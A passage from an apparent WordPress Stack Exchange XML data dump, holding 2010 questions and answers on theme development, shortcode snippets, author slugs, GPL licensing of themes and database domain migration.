href=&quot;http://www.google-adsense-templates.co.uk/massive-passive-profits-plugin-setting-up-a-sub-domain-blog-template-with-talian-05.html&quot; rel=&quot;nofollow&quot;&gt;http://www.google-adsense-templates.co.uk/massive-passive-profits-plugin-setting-up-a-sub-domain-blog-template-with-talian-05.html&lt;/a&gt; (includes a link to the plugin) they use it with an autoblog plugin. Ignore the specific theme references of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2010-12-21T14:12:55.897" />
  <row Id="5732" PostTypeId="2" ParentId="5276" CreationDate="2010-12-21T15:04:57.850" Score="0" ViewCount="" Body="&lt;p&gt;Official announcement &lt;a href=&quot;http://en.blog.wordpress.com/2010/12/15/wordpress-for-windows-phone-7/&quot; rel=&quot;nofollow&quot;&gt;http://en.blog.wordpress.com/2010/12/15/wordpress-for-windows-phone-7/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2010-12-21T15:04:57.850" />
  <row Id="5734" PostTypeId="1" AcceptedAnswerId="5737" CreationDate="2010-12-21T15:57:09.787" Score="0" ViewCount="229" Body="&lt;p&gt;What (if any) is the hook or method for including named categories into the wp_list_pages function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result would be that the categories are added onto the end of the list of pages (along with any child categories that exist, with proper ul/li nesting for drop down css to act on)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home | About | Contact | Category 1 | Category 2&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-12-21T16:10:00.927" LastActivityDate="2010-12-21T18:29:56.223" Title="How to add categories to wp_list_pages()" Tags="&lt;theme-development&gt;&lt;navigation&gt;" AnswerCount="2" />
  <row Id="5735" PostTypeId="2" ParentId="5734" CreationDate="2010-12-21T16:47:49.717" Score="2" ViewCount="" Body="&lt;p&gt;There are plenty of hooks in there (&lt;code&gt;wp_list_pages&lt;/code&gt; is final output) and you can even pass your own &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/Walker_Class&quot; rel=&quot;nofollow&quot;&gt;Walker Class&lt;/a&gt; to it in &lt;code&gt;walker&lt;/code&gt; argument. But I think this is going to be huge mess because of nesting and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why don't just call &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_list_categories()&lt;/code&gt;&lt;/a&gt; right after it with similar markup and style both so they look alike?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-21T16:47:49.717" />
  <row Id="5737" PostTypeId="2" ParentId="5734" CreationDate="2010-12-21T18:29:56.223" Score="4" ViewCount="" Body="&lt;p&gt;Wouldn't it be even easier to call &lt;code&gt;wp_nav_menu()&lt;/code&gt; and customize your menu as you please from the admin menu?&lt;/p&gt;&#xA;" OwnerUserId="1695" LastActivityDate="2010-12-21T18:29:56.223" CommentCount="2" />
  <row Id="5738" PostTypeId="2" ParentId="5726" CreationDate="2010-12-21T19:25:03.557" Score="1" ViewCount="" Body="&lt;p&gt;use the Hook admin_init and later hooks, the init-Hook comes realy ealier as only the admin. But it is important, when you use li18n-functions or AJAX, than it is better you use init.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-12-21T19:25:03.557" />
  <row Id="5739" PostTypeId="2" ParentId="5704" CreationDate="2010-12-21T19:28:11.120" Score="1" ViewCount="" Body="&lt;p&gt;The entries life for different time. You can run a sql for delete all:&#xA;&lt;code&gt;DELETE FROM&lt;/code&gt;wp_options&lt;code&gt;WHERE&lt;/code&gt;option_name&lt;code&gt;LIKE ('_transient%_feed_%')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THe easiest wy for run a sql direct on the database is the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/adminer/&quot; rel=&quot;nofollow&quot;&gt;Adminer&lt;/a&gt; inside the WP Backend. More you can read on &lt;a href=&quot;http://wpengineer.com/2114/delete-all-feed-cache-via-sql-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; about delete the transient-cache of feeds.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-12-21T19:28:11.120" />
  <row Id="5740" PostTypeId="2" ParentId="4241" CreationDate="2010-12-21T20:01:26.650" Score="4" ViewCount="" Body="&lt;p&gt;You can add this in your functions, and it will rewrite the slug from default &quot;author&quot; to &quot;classroom&quot;,  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function new_author_base() {&#xA;    global $wp_rewrite;&#xA;    $author_slug = 'classroom';&#xA;    $wp_rewrite-&amp;gt;author_base = $author_slug;&#xA;}&#xA;add_action('init', 'new_author_base');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope it helps you&lt;/p&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="2048" LastEditorDisplayName="" LastEditDate="2010-12-27T22:35:32.597" LastActivityDate="2010-12-27T22:35:32.597" CommentCount="3" />
  <row Id="5741" PostTypeId="2" ParentId="1567" CreationDate="2010-12-21T20:03:19.017" Score="5" ViewCount="" Body="&lt;h2&gt;Themed custom loop using shortcodes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Arguments are the same as the ones from &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/query_posts&quot; rel=&quot;nofollow&quot;&gt;query_posts&lt;/a&gt;. The content wrapped between the query tag is the template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('query', 'shortcode_query');&#xA;&#xA;function shortcode_query($atts, $content){&#xA;  extract(shortcode_atts(array( // a few default values&#xA;   'posts_per_page' =&amp;gt; '10',&#xA;   'caller_get_posts' =&amp;gt; 1,&#xA;   'post__not_in' =&amp;gt; get_option('sticky_posts'),&#xA;  ), $atts));&#xA;&#xA;  global $post;&#xA;&#xA;  $posts = new WP_Query($atts);&#xA;  $output = '';&#xA;  if ($posts-&amp;gt;have_posts())&#xA;    while ($posts-&amp;gt;have_posts()):&#xA;      $posts-&amp;gt;the_post();&#xA;&#xA;      // these arguments will be available from inside $content&#xA;      $parameters = array(&#xA;        'PERMALINK' =&amp;gt; get_permalink(),&#xA;        'TITLE' =&amp;gt; get_the_title(),&#xA;        'CONTENT' =&amp;gt; get_the_content(),&#xA;        'COMMENT_COUNT' =&amp;gt; $post-&amp;gt;comment_count,&#xA;        'CATEGORIES' =&amp;gt; get_the_category_list(', '),&#xA;        // add here more...&#xA;      );&#xA;&#xA;      $finds = $replaces = array();&#xA;      foreach($parameters as $find =&amp;gt; $replace):&#xA;        $finds[] = '{'.$find.'}';&#xA;        $replaces[] = $replace;&#xA;      endforeach;&#xA;      $output .= str_replace($finds, $replaces, $content);&#xA;&#xA;    endwhile;&#xA;  else&#xA;    return; // no posts found&#xA;&#xA;  wp_reset_query();&#xA;  return html_entity_decode($output);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[query post_type=page posts_per_page=5]&#xA;Listing some pages:    &#xA;&amp;lt;h5&amp;gt;{TITLE}&amp;lt;/h5&amp;gt;&#xA;&amp;lt;div&amp;gt;{CONTENT}&amp;lt;/div&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{PERMALINK}&quot;&amp;gt;{COMMENT_COUNT} comments&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;[/query]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(will make a query for 5 pages)&lt;/p&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;h2&gt;Inserting pre-configured widgets anywhere using shortcodes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;(some ideas from &lt;a href=&quot;http://webdesign.anmari.com/shortcode-any-widget&quot; rel=&quot;nofollow&quot;&gt;http://webdesign.anmari.com/shortcode-any-widget&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('widgets_init', 'create_arbitrary_sidebar');&#xA;function create_arbitrary_sidebar(){&#xA;  register_sidebar(array(&#xA;    'name' =&amp;gt; __('Arbitrary Widgets'),&#xA;    'id' =&amp;gt; 'arbitrary',&#xA;    'description' =&amp;gt; sprintf(__('Widgets from this area can added into posts/pages using the %1$s or %2$s shortcodes.'), '[widget ID]', '[widget Name]'),&#xA;    'before_widget' =&amp;gt; '&amp;lt;div class=&quot;block&quot;&amp;gt;&amp;lt;div class=&quot;block-content block-%2$s clear-block&quot; id=&quot;instance-%1$s&quot;&amp;gt;',&#xA;    'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;',&#xA;    'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;title&quot;&amp;gt;',&#xA;    'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;'&#xA;   ));&#xA;}&#xA;&#xA;add_action('in_widget_form', 'widget_shortcodes_info', 10, 3);&#xA;function widget_shortcodes_info($widget, $return, $instance){&#xA;  if(!is_numeric($widget-&amp;gt;number)) return; // wp-save bug :( widget needs to be saved first...&#xA;&#xA;  global $wp_registered_widgets;&#xA;&#xA;  // get the active widgets from all sidebars&#xA;  $sidebars_widgets = wp_get_sidebars_widgets();&#xA;&#xA;  // prepare matches&#xA;  $matches = array();&#xA;  foreach($wp_registered_widgets as $i =&amp;gt; $w)&#xA;    if($w['name'] == $widget-&amp;gt;name) $matches[] = $w['id'];&#xA;&#xA;  // find out the widget position (number)&#xA;  $number = 0;&#xA;  $is_arbitrary = false;&#xA;  if(!empty($sidebars_widgets['arbitrary']))&#xA;    foreach($sidebars_widgets['arbitrary'] as $i =&amp;gt; $value):&#xA;      if(in_array($value, $matches) &amp;amp;&amp;amp; !$is_arbitrary) $number = $number +1;&#xA;      if($value == $widget-&amp;gt;id) $is_arbitrary = true;&#xA;    endforeach;&#xA;&#xA;  echo '&amp;lt;div style=&quot;background:#eee; padding: 5px;&quot;&amp;gt;To include this widget into your posts or pages use one of the following shortcodes: &amp;lt;br /&amp;gt;';&#xA;  echo '&amp;lt;code&amp;gt;[widget '.substr(md5($widget-&amp;gt;id), 0, 8).']&amp;lt;/code&amp;gt; &amp;lt;br /&amp;gt; &amp;lt;code&amp;gt;[widget &quot;'.$widget-&amp;gt;name.'&quot;'.(($number &amp;gt; 1) ? ' number='.$number : null).']&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;add_shortcode('widget', 'shortcode_widget');&#xA;function shortcode_widget($atts){&#xA;  global $wp_registered_widgets, $wp_registered_sidebars;&#xA;  extract(shortcode_atts(array(&#xA;    'number' =&amp;gt; false,        // only taken in consideration if the 1st argument is the &quot;Widget Name&quot; (not the hashed ID)&#xA;    'title' =&amp;gt; true,          // show titles?&#xA;    'area' =&amp;gt; 'arbitrary'     // sidebar to search&#xA;  ), $atts));&#xA;&#xA;  // get 1st parameter (assuming this is the target widget id or name)&#xA;  if (!empty($atts[0])) $widget = esc_attr($atts[0]); else return;&#xA;&#xA;  $sidebar = esc_attr($area);&#xA;  $number = intval($number);&#xA;&#xA;  $callback = false;&#xA;  $possible_matches = array();&#xA;  $sidebars_widgets = wp_get_sidebars_widgets();&#xA;  if((empty($sidebars_widgets[$sidebar]) || empty($wp_registered_widgets)) &amp;amp;&amp;amp; (current_user_can('edit_themes')))&#xA;    return &quot;no valid active widgets in {$sidebar}&quot;;&#xA;&#xA;  // assuming we get the md5 hashed ID&#xA;  foreach ($wp_registered_widgets as $i =&amp;gt; $w)&#xA;    if ($widget == substr(md5($w['id']), 0, 8)):&#xA;      $callback = ($w['callback']);&#xA;      $widget = $w['id']; // real widget ID&#xA;&#xA;    // compare widget names as well, and build a array with the possible widget matches array&#xA;    // (which is used later if ID match fails)&#xA;    elseif($widget == $w['name']):&#xA;      $possible_matches[] = $w['id'];&#xA;&#xA;    endif;&#xA;&#xA;  // nothing found, assume it's the &quot;Widget Name&quot;.&#xA;  if(!$callback):&#xA;    $valid_matches = array();&#xA;    foreach($sidebars_widgets[$sidebar] as $i =&amp;gt; $w)&#xA;      foreach($possible_matches as $id) if($id == $w) $valid_matches[] = $w;&#xA;&#xA;    if(!empty($valid_matches)) $widget = $number ? $valid_matches[$number-1] : $widget = $valid_matches[0];&#xA;    if($widget &amp;amp;&amp;amp; isset($wp_registered_widgets[$widget]['callback'])) $callback = $wp_registered_widgets[$widget]['callback'];&#xA;  endif;&#xA;&#xA;  // yey. we found it&#xA;  if($callback):&#xA;    ob_start();&#xA;&#xA;    $params = array_merge(array(array_merge($wp_registered_sidebars[$sidebar], array('widget_id' =&amp;gt; $widget, 'widget_name' =&amp;gt; $wp_registered_widgets[$widget]['name']))), (array)$wp_registered_widgets[$widget]['params']);&#xA;&#xA;    $classname_ = '';&#xA;    foreach ((array)$wp_registered_widgets[$widget]['classname'] as $cn)&#xA;      if (is_string($cn)) $classname_ .= '_'.$cn; elseif (is_object($cn)) $classname_ .= '_'.get_class($cn);&#xA;    $classname_ = ltrim($classname_, '_');&#xA;    $params[0]['before_widget'] = sprintf($params[0]['before_widget'], $widget, $classname_);&#xA;    $params = apply_filters('dynamic_sidebar_params', $params);&#xA;&#xA;    if (is_callable($callback)) call_user_func_array($callback, $params);&#xA;    $output = ob_get_clean();&#xA;&#xA;    // remove h3 if title = false&#xA;    if(!$title) $output = preg_replace('#&amp;lt;h3 class=&quot;title&quot;&amp;gt;(.*?)&amp;lt;/h3&amp;gt;#', '', $output);&#xA;    return $output;&#xA;  else:&#xA;   return &quot;widget instance not found: &quot;.esc_attr($atts[0]);&#xA;  endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Drop a widget in  the &quot;arbitrary widgets&quot; sidebar, save it and you'll get the shortcodes :)&lt;/p&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;h2&gt;Get a custom field value through shortcodes&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('field', 'shortcode_field');&#xA;&#xA;function shortcode_field($atts){&#xA;  extract(shortcode_atts(array(&#xA;   'post_id' =&amp;gt; NULL,&#xA;  ), $atts));&#xA;&#xA;  if(!isset($atts[0]) return;&#xA;  $field = esc_attr($atts[0]);&#xA;&#xA;  global $post;&#xA;  $post_id = (NULL === $post_id) ? $post-&amp;gt;ID : $post_id;&#xA;&#xA;  return get_post_meta($post_id, $field, true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;[field &quot;my_key&quot;]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;[field &quot;my_key&quot; post_id=1]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;h2&gt;Get the TinyURL of a link through shortcodes&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('tinyurl', 'shortcode_tinyurl'); &#xA;&#xA;function shortcode_tinyurl($atts){&#xA;  extract(shortcode_atts(array(&#xA;   'url' =&amp;gt; get_permalink(),&#xA;   'title' =&amp;gt; '',&#xA;   'rel' =&amp;gt; 'nofollow'&#xA;  ), $atts));&#xA;  if(!$title) $title = $url;&#xA;&#xA;  if (FALSE === ($cache = get_transient('tinyurl_'+md5($url)))):&#xA;    $cache = wp_remote_retrieve_body(wp_remote_get('http://tinyurl.com/api-create.php?url='.$url));&#xA;&#xA;    set_transient('tinyurl_'+md5($url), $cache, 60*60*24); // 1 day cache, could be incresed&#xA;  endif;&#xA;&#xA;  return '&amp;lt;a href=&quot;'.esc_url($cache).'&quot; rel=&quot;'.esc_attr($rel).'&quot;&amp;gt;'.esc_attr($title).'&amp;lt;/a&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;[tinyurl]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;[tinyurl url=&quot;http://google.com&quot; title=&quot;google&quot;]&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-01-02T21:33:23.103" LastActivityDate="2011-01-02T21:33:23.103" CommunityOwnedDate="2010-12-21T20:03:19.017" />
  <row Id="5742" PostTypeId="1" AcceptedAnswerId="6527" CreationDate="2010-12-21T20:14:56.503" Score="1" ViewCount="493" Body="&lt;p&gt;Hi to the community,&lt;br&gt;&#xA;is it possible to change the default username slug to nickname if is available?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default the url is something like: &lt;a href=&quot;http://domain.tld/author/(admin&quot; rel=&quot;nofollow&quot;&gt;http://domain.tld/author/(admin&lt;/a&gt;) ,&lt;br&gt;&#xA;is it possible to rewrite and change to &lt;a href=&quot;http://domain.tld/author/(nickname&quot; rel=&quot;nofollow&quot;&gt;http://domain.tld/author/(nickname&lt;/a&gt;) so if a user change his nickname from the profile page the slug it will change also to the new name given by the user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks a lot!&lt;br&gt;&#xA;Philip&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-05-17T14:06:54.677" Title="Change the Author Slug from Username to Nickname" Tags="&lt;users&gt;&lt;url-rewriting&gt;&lt;slug&gt;&lt;author&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="5743" PostTypeId="2" ParentId="1567" CreationDate="2010-12-21T20:19:20.727" Score="3" ViewCount="" Body="&lt;h2&gt;&lt;strong&gt;Change default Author Slug&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Put this in your functions to change the default Author Slug to whatever you want,&lt;br&gt;&#xA;just change the &quot;sellers&quot; to the slug you want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Change URL Slug from Author to Sellers&#xA;function new_author_base() {&#xA;    global $wp_rewrite;&#xA;    $author_slug = 'sellers';&#xA;    $wp_rewrite-&amp;gt;author_base = $author_slug;&#xA;}&#xA;add_action('init', 'new_author_base');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="2048" LastEditorDisplayName="" LastEditDate="2011-01-12T21:36:22.030" LastActivityDate="2011-01-12T21:36:22.030" CommunityOwnedDate="2010-12-21T20:19:20.727" CommentCount="3" />
  <row Id="5744" PostTypeId="1" AcceptedAnswerId="5745" CreationDate="2010-12-21T21:16:54.117" Score="4" ViewCount="360" Body="&lt;p&gt;To put it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a WordPress theme for myself which consists of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PHP code - GPL v2 licensed like WordPress&lt;/li&gt;&#xA;&lt;li&gt;CSS files - All rights reserved&lt;/li&gt;&#xA;&lt;li&gt;JS files - All rights reserved&lt;/li&gt;&#xA;&lt;li&gt;image files required for the theme - All rights reserved&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As far as I understand I can copyright all non PHP files in the theme, so my question is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does this licensing scheme (for file groups) violates the WordPress license?&lt;/li&gt;&#xA;&lt;li&gt;Do I have to publish the PHP code of the theme so it is available to everyone?&lt;/li&gt;&#xA;&lt;li&gt;If I were to make a WordPress powered website with my theme (with the same licenses as above) for someone else (who pays for the service), do I have to publish the PHP code of the theme so it is available to everyone, just the buyer, or anything else?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1376" LastActivityDate="2010-12-24T02:53:53.710" Title="What does exactly GPL license mean for my WordPress theme?" Tags="&lt;themes&gt;&lt;licensing&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="3" />
  <row Id="5745" PostTypeId="2" ParentId="5744" CreationDate="2010-12-21T21:42:50.080" Score="6" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does this licensing scheme (for file&#xA;  groups) violates the WordPress&#xA;  license?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, only the PHP code needs to be GPL'd. A popular example is Thesis:&#xA;&lt;a href=&quot;http://mashable.com/2010/07/22/thesis-relents/&quot; rel=&quot;nofollow&quot;&gt;http://mashable.com/2010/07/22/thesis-relents/&lt;/a&gt;&#xA;http://markjaquith.wordpress.com/2010/07/17/why-wordpress-themes-are-derivative-of-wordpress/&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do I have to publish the PHP code of&#xA;  the theme so it is available to&#xA;  everyone?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You don't have to publish it if your intention is to use the theme only for yourself. The GPL licence applies only when you distribute the theme to others.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;do I have&#xA;  to publish the PHP code of the theme&#xA;  so it is available to everyone, just&#xA;  the buyer, or anything else?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Just the buyer.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-12-21T21:42:50.080" CommentCount="8" />
  <row Id="5746" PostTypeId="2" ParentId="5721" CreationDate="2010-12-21T22:15:03.323" Score="0" ViewCount="" Body="&lt;p&gt;Another option, if you need further control of the query or the replacement function, is to use more of the WP APIs, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; &quot;post&quot;,&#xA;    'numberposts' =&amp;gt; -1&#xA;    // additional arguments&#xA;    );&#xA;&#xA;foreach ( get_posts( $args ) as $thispost )&#xA;    wp_update_post( array(&#xA;        'ID' =&amp;gt; $thispost-&amp;gt;ID,&#xA;        'post_content' =&amp;gt; &quot;your new content&quot;&#xA;        )&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bear in mind that this is much more resource-intensive than the SQL queries t31os proposed, so use with caution if you're modifying a large number of posts. See also: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3599/how-to-apply-content-filter-permanently&quot;&gt;How to apply content filter permanently?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-21T22:15:03.323" />
  <row Id="5747" PostTypeId="2" ParentId="5744" CreationDate="2010-12-21T22:34:47.473" Score="1" ViewCount="" Body="&lt;p&gt;GPL only applies to &lt;strong&gt;&lt;em&gt;distribution&lt;/em&gt;&lt;/strong&gt; of a product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you're creating the theme for yourself and &lt;em&gt;not&lt;/em&gt; distributing it (for free or otherwise) to anyone else, you're in the clear to use it however you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you do publish your theme, list it in the theme repository, or sell it, then all PHP code must be licensed in a fashion compatible with version 2 of the GPL.  This is because themes are, in fact, derivative works based on WordPress itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I said, this is if the theme is just for you ... if the theme is for someone else (whether they pay you for it or not) you must extend to them the same rights you had while working on the software - i.e. you must grant them permission to develop derivative works and redistribute their wares to others.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-21T22:34:47.473" CommentCount="6" />
  <row Id="5748" PostTypeId="1" AcceptedAnswerId="5808" CreationDate="2010-12-21T22:54:53.800" Score="3" ViewCount="417" Body="&lt;p&gt;I have a Wordpress database which was installed in a development environment... thus, all references to the site itself have a fixed IP address (say 192.168.16.2). Now, I have to migrate that database to a new Wordpress installation on a hosting. The problem is that the SQL dump contains a lot of references to the IP address, and I have to replace it with: my_domain.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could use &lt;code&gt;sed&lt;/code&gt; or some other command to change the that from the command line, the problem is that there are a lot of configuration data which uses JSON. So what? Well, as you know, JSON arrays uses things like: &lt;code&gt;s:4:&lt;/code&gt; to know how many chars an element has, and thus, if I just replace the IP with the domain name, the configuration files will get corrupted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used an app for Windows some years ago that allows to change values in a database and takes care of the JSON arrays. Unfortunately, I forgot the name of the app... so the question is: do you know any app that allows me to do what I want?&lt;/p&gt;&#xA;" OwnerUserId="2102" LastActivityDate="2010-12-23T04:31:57.360" Title="How to replace the domain name in a Wordpress database?" Tags="&lt;mysql&gt;&lt;migration&gt;" AnswerCount="7" CommentCount="3" FavoriteCount="2" />
  <row Id="5749" PostTypeId="2" ParentId="5748" CreationDate="2010-12-21T23:51:47.783" Score="2" ViewCount="" Body="&lt;p&gt;This is an amazing resource i have bookmarked that I go back to time and time again&#xA;&lt;a href=&quot;http://www.onextrapixel.com/2010/01/30/13-useful-wordpress-sql-queries-you-wish-you-knew-earlier/&quot; rel=&quot;nofollow&quot;&gt;http://www.onextrapixel.com/2010/01/30/13-useful-wordpress-sql-queries-you-wish-you-knew-earlier/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They state&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_options SET option_value = replace(option_value, 'http://www.oldsiteurl.com', 'http://www.newsiteurl.com') WHERE option_name = 'home' OR option_name = 'siteurl';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2010-12-21T23:51:47.783" />
  <row Id="5750" PostTypeId="1" AcceptedAnswerId="5765" CreationDate="2010-12-22T00:00:30.067" Score="4" ViewCount="1570" Body="&lt;p&gt;(My first WP question ever asked! Be gentle!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm building a site that is mostly pages (i.e., static), using WP as CMS.  At the bottom of several of the pages, there will appear 1, 2, or 3 &quot;promo boxes&quot; -- basically button-images that link to other parts of the site.  Though only up to 3 promo boxes will appear on any given page, there will be ~30 different ones to choose from.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When my client creates a new page, I'd like him to be able to choose promo boxes from something like a dropdown list of all of the possible promo boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems to me this should work like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a custom post type called &quot;promo-box&quot;.  (Though it could just as easily be a tag for regular posts.)&lt;/li&gt;&#xA;&lt;li&gt;Use a tool like &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;Custom Field Template&lt;/a&gt; to create a dropdown on the page editor, where the values of the dropdown options are dynamically generated from the list of all existing promo-box posts. (&lt;b&gt;This is the part I don't know how to do.&lt;/b&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Access the resulting metadata (post number is really all I need, then I can get everything else) on the page template.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Based on responses to other questions here, I have taken initial looks at WPAlchemy MetaBox, Posts-2-Posts, and SLT Custom Fields, but I confess the documentation for each of them is slightly geekier than I am, so I haven't delved too deeply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advice?  Is one of the above tools the right solution for me, and I just have to figure it out?  Am I missing something here?&lt;/p&gt;&#xA;" OwnerUserId="2103" LastActivityDate="2010-12-22T23:53:24.543" Title="Custom field/meta populated by dropdown of existing posts?" Tags="&lt;custom-field&gt;&lt;metabox&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="5" />
  <row Id="5751" PostTypeId="2" ParentId="5748" CreationDate="2010-12-22T00:02:59.527" Score="2" ViewCount="" Body="&lt;p&gt;You cans et this values wiht a constant in the wp-config.php and ready; after this you can, when you will, change the entries in the database via plugin Adminer.&#xA;Write this in the wp-config.php and the values in the DB is not relevant:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_HOME', 'http://doamin.com/to-wordpress');&#xA;define('WP_SITEURL', 'http://domain.com/to-blog');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-12-22T00:02:59.527" />
